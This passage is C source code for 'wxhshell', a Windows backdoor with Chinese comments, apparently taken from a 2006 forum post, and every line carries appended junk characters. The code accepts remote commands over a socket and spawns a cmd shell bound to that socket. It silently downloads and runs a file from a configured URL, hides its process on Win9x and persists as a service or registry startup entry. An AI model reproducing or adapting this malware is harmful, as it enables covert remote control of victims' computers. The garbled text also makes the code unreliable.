  // 帮助 #f=41d%  
  case '?': { 0!:%Ge_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rO1N@kd/  
    break; DYZk1  
  } gK *=T  
  // 安装 !,7)ZW?*8  
  case 'i': { cZ.p  
    if(Install()) @v /Ae_q!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Y~5|OXJ  
    else 1Sns$t%b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J<cY'?D  
    break; .k!2{A  
    } G [yI[7=d  
  // 卸载 kOel !A  
  case 'r': { YB{'L +Wbw  
    if(Uninstall()) \Q?#^<O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'n=LB8R  
    else {ueDwnZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rXGaav9  
    break; ldaT: er9  
    } v&66F`  
  // 显示 wxhshell 所在路径 cSTL.QF  
  case 'p': { Qq.Ja%Zq  
    char svExeFile[MAX_PATH]; 5]3Mj*u\  
    strcpy(svExeFile,"\n\r"); uD4W@*PYr  
      strcat(svExeFile,ExeFile); eM7 F8j  
        send(wsh,svExeFile,strlen(svExeFile),0); >v/%R~BuX  
    break; UD2 l!)rW  
    } _*t75e$-  
  // 重启 H5gcP11r  
  case 'b': { xWWVU}fd1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <@n3vO6  
    if(Boot(REBOOT)) `,c~M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ub4(g~E  
    else { e:QH3|'y  
    closesocket(wsh); j2hp*C'^  
    ExitThread(0); gb^'u  
    }  `7V'A  
    break; ^NxKA'oWQ  
    } fzjtaH?  
  // 关机 7zNfq.Ni~  
  case 'd': { r8_MIGM'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l>7?B2^<E  
    if(Boot(SHUTDOWN)) P$/Y9o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \&v)#w  
    else { d8^S~7  
    closesocket(wsh); `my\59T  
    ExitThread(0); %W2 o`W$  
    } |5BvVqn  
    break; clT[ ?8*  
    } j'SGZnsy*  
  // 获取shell H ;HFen|  
  case 's': { t0ZaIE   
    CmdShell(wsh); bg*@N  
    closesocket(wsh); llpgi,-=  
    ExitThread(0); pf&SIG  
    break; X'7MW? q@  
  } ;Z&w"oSJ  
  // 退出 =A/$[POr  
  case 'x': { ;'4Kg@/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `6*1mE1K&  
    CloseIt(wsh); sFRQFX0XoY  
    break; kl5Y{![/&f  
    } S^SF!k=  
  // 离开 DPlmrN9@=  
  case 'q': { Vf$q3X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zj;Ktgc E  
    closesocket(wsh); Gwfi  
    WSACleanup(); tj" EUqKQ  
    exit(1); 6[]O3Aa  
    break; +tv"j;z  
        } 1F[W~@jW  
  } !4+@b s  
  } ]7%+SH,RdD  
xcXnd"YYE  
  // 提示信息 a +`;:tX,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z+S1e~~  
} 0F[+rh"x  
  } 7pZd?-6M^  
[F^j(qTR  
  return; DcNwtts  
} RV6|sN[x>  
2P VQSwW:  
// shell模块句柄 }H9V$~}@-  
int CmdShell(SOCKET sock) W&9X <c*  
{ NS^+n4  
STARTUPINFO si; zWq&HBs  
ZeroMemory(&si,sizeof(si));  k< g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0d #jiG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KA]5tVQA  
PROCESS_INFORMATION ProcessInfo; Qr*7bE(a  
char cmdline[]="cmd"; x@,B))WlGr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ku]<$uo  
  return 0; ?lQ-HOAw  
} T2MXwd&l  
A!ak i}aT~  
// 自身启动模式 Ve|=<7%%S  
int StartFromService(void) &v&e- |r8;  
{ Zl=IZ?F   
typedef struct PQ4)kVT  
{ #s|/5[i  
  DWORD ExitStatus; jR mo9Bb2  
  DWORD PebBaseAddress; Te&5IB-  
  DWORD AffinityMask; q `^5<  
  DWORD BasePriority; [X'u={  
  ULONG UniqueProcessId; s7na!A[  
  ULONG InheritedFromUniqueProcessId; eih~ SBSH  
}   PROCESS_BASIC_INFORMATION; 4lF?s\W:  
Mp`i@pm+  
PROCNTQSIP NtQueryInformationProcess; eR:!1z_h  
pwr]lV$w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +p_>fO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'jd fUB  
=F90SyzTy  
  HANDLE             hProcess; g.eMGwonTJ  
  PROCESS_BASIC_INFORMATION pbi; ]sV) '-  
_6{XqvWqb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Bn%7ZBv  
  if(NULL == hInst ) return 0; j\@osjUu  
)w&k&TY4H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *WZ?C|6+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "}jv5j5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rkz[x  
\tZZn~ex  
  if (!NtQueryInformationProcess) return 0; PvqG5-L~W  
" )/febBS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kJG0X%+w  
  if(!hProcess) return 0; 0N4+6k|  
m<| *  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y?yWM8  
G7d)X^q!xS  
  CloseHandle(hProcess); KPMId`kf  
cuo'V*nWQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u(Y?2R  
if(hProcess==NULL) return 0; Y SD|#0  
4WZ"8  
HMODULE hMod; L&h90Az1W  
char procName[255]; /yO|Q{C}M8  
unsigned long cbNeeded; \N"=qw^ t  
FW--|X]8   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +'QE-#%{=  
^%~ux0%^T  
  CloseHandle(hProcess); *HXx;:  
f%5 s8)  
if(strstr(procName,"services")) return 1; // 以服务启动 ? _Y2'O  
 Vq K/GWg  
  return 0; // 注册表启动 !_#2$J*s^D  
}  /DN!"  
2C_/T8  
// 主模块 ;ZowC#j  
int StartWxhshell(LPSTR lpCmdLine) %P tdFz$  
{ i2(lqhaP  
  SOCKET wsl; M~t;&po  
BOOL val=TRUE; 5>*~1}0T  
  int port=0; |}^ BF%8V:  
  struct sockaddr_in door; 8^|lsB}x?  
OXCf  
  if(wscfg.ws_autoins) Install(); _vgFcE~E@  
t~@~XI5  
port=atoi(lpCmdLine); Z/w "zCd  
x;p7n 2_  
if(port<=0) port=wscfg.ws_port; -P7JaH/Q  
[Uw/;Kyh  
  WSADATA data; hj|P*yKV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sJ q^>"|J  
RbGq$vYol/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JVk"M=c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -cW 'g  
  door.sin_family = AF_INET; dpWBY3(7a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l/F'W}  
  door.sin_port = htons(port); q]>m#yk   
 (:ObxJ*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @#= ail  
closesocket(wsl); UOAL7  
return 1; pz]#/Ry?  
} Zbobi,  
P]b * hC  
  if(listen(wsl,2) == INVALID_SOCKET) { 8*t8F\U#  
closesocket(wsl); ZAcH`r*  
return 1; #Kd^t =k  
} fKN&0N |^R  
  Wxhshell(wsl); [>N`)]fP  
  WSACleanup(); "o.g}Pv  
p{BBqKv  
return 0; R#0Z  
b9gezXAcd  
} g(D r/D  
DEcsFC/SK  
// 以NT服务方式启动 vsL)E:0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E |BE(F;K  
{ NHjZ`=J s  
DWORD   status = 0; }E%#g#  
  DWORD   specificError = 0xfffffff; "U DV4<|^k  
Hp!c\z;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q4vl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FJl_2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }u aRS9d  
  serviceStatus.dwWin32ExitCode     = 0; 8kwe._&)  
  serviceStatus.dwServiceSpecificExitCode = 0; Bw;LGEHi|  
  serviceStatus.dwCheckPoint       = 0; /:],bNb  
  serviceStatus.dwWaitHint       = 0; oPPxja g\  
|0e7<[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :xz,PeXo7  
  if (hServiceStatusHandle==0) return; gZLzE*NZ  
'ixu+.ZL/  
status = GetLastError(); [^4)3cj7}  
  if (status!=NO_ERROR) jjLwHJ  
{ h &R1"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,|r%tNh<8$  
    serviceStatus.dwCheckPoint       = 0; D#I^;Xg0h  
    serviceStatus.dwWaitHint       = 0; u6#=<FD/}  
    serviceStatus.dwWin32ExitCode     = status; 1!4-M$-  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?=\&O=_ln  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5i42o+'  
    return; i G%h-  
  } Cj6+zJ  
+4Uxq{.K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $V0G[!4  
  serviceStatus.dwCheckPoint       = 0; [G/ti&Od^  
  serviceStatus.dwWaitHint       = 0; ^[]@dk9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~dFdO7  
} d@?++z  
v.Y?<=E+<d  
// 处理NT服务事件,比如:启动、停止 6|-V{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hhU: nw  
{ s.p4+K J  
switch(fdwControl) qQ%RnD9  
{ (-:lO{@FsC  
case SERVICE_CONTROL_STOP: D; bHX  
  serviceStatus.dwWin32ExitCode = 0; 5UgxuuP4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 o SNnT  
  serviceStatus.dwCheckPoint   = 0; BS_ 3|  
  serviceStatus.dwWaitHint     = 0; #S*`7MvM  
  { ?"o7x[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;`f14Fb  
  } i6Kcj  
  return; \=yWJ  
case SERVICE_CONTROL_PAUSE: [7btoo|P]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OrJuE[R.  
  break; >Yf)]e-  
case SERVICE_CONTROL_CONTINUE: <V~B8C!)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Cv>V"X: `  
  break; Uf ?._&:  
case SERVICE_CONTROL_INTERROGATE: &I|\AG"X}  
  break; 'wg>=|Q5  
}; "^UJC-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FZ0wtS2  
} +p Y*BP+~i  
pp2,d`01[L  
// 标准应用程序主函数 R iPxz=kr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sl!#!FGI  
{ /YLHg5n8+  
R|&Rq(ow"  
// 获取操作系统版本 '[z529HN  
OsIsNt=GetOsVer(); Q/[g|"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R'udC}  
@|jLw($Ly  
  // 从命令行安装 PXRkK63  
  if(strpbrk(lpCmdLine,"iI")) Install(); a At<36{?  
5C|Y-G  
  // 下载执行文件 T.}wcQf&*  
if(wscfg.ws_downexe) { e@ mjh,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *:+&Sx L  
  WinExec(wscfg.ws_filenam,SW_HIDE); X^td`}F/=V  
} ^]cl:m=*  
{#_CzI.0f  
if(!OsIsNt) { E0s|eA&  
// 如果时win9x,隐藏进程并且设置为注册表启动 (T9Q6 \sa  
HideProc(); hT0[O  
StartWxhshell(lpCmdLine); <*/IV<  
} %wDE+&M  
else >STAPrBp+  
  if(StartFromService()) zarxv| }$  
  // 以服务方式启动 BWWO=N  
  StartServiceCtrlDispatcher(DispatchTable); nhu;e}[>  
else c&mLK1A6  
  // 普通方式启动 L/Ytkag  
  StartWxhshell(lpCmdLine); WCdl 25L#  
o _G,Ph!7  
return 0; aWCZ1F  
}
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只看该作者 1 发表于: 2006-10-10
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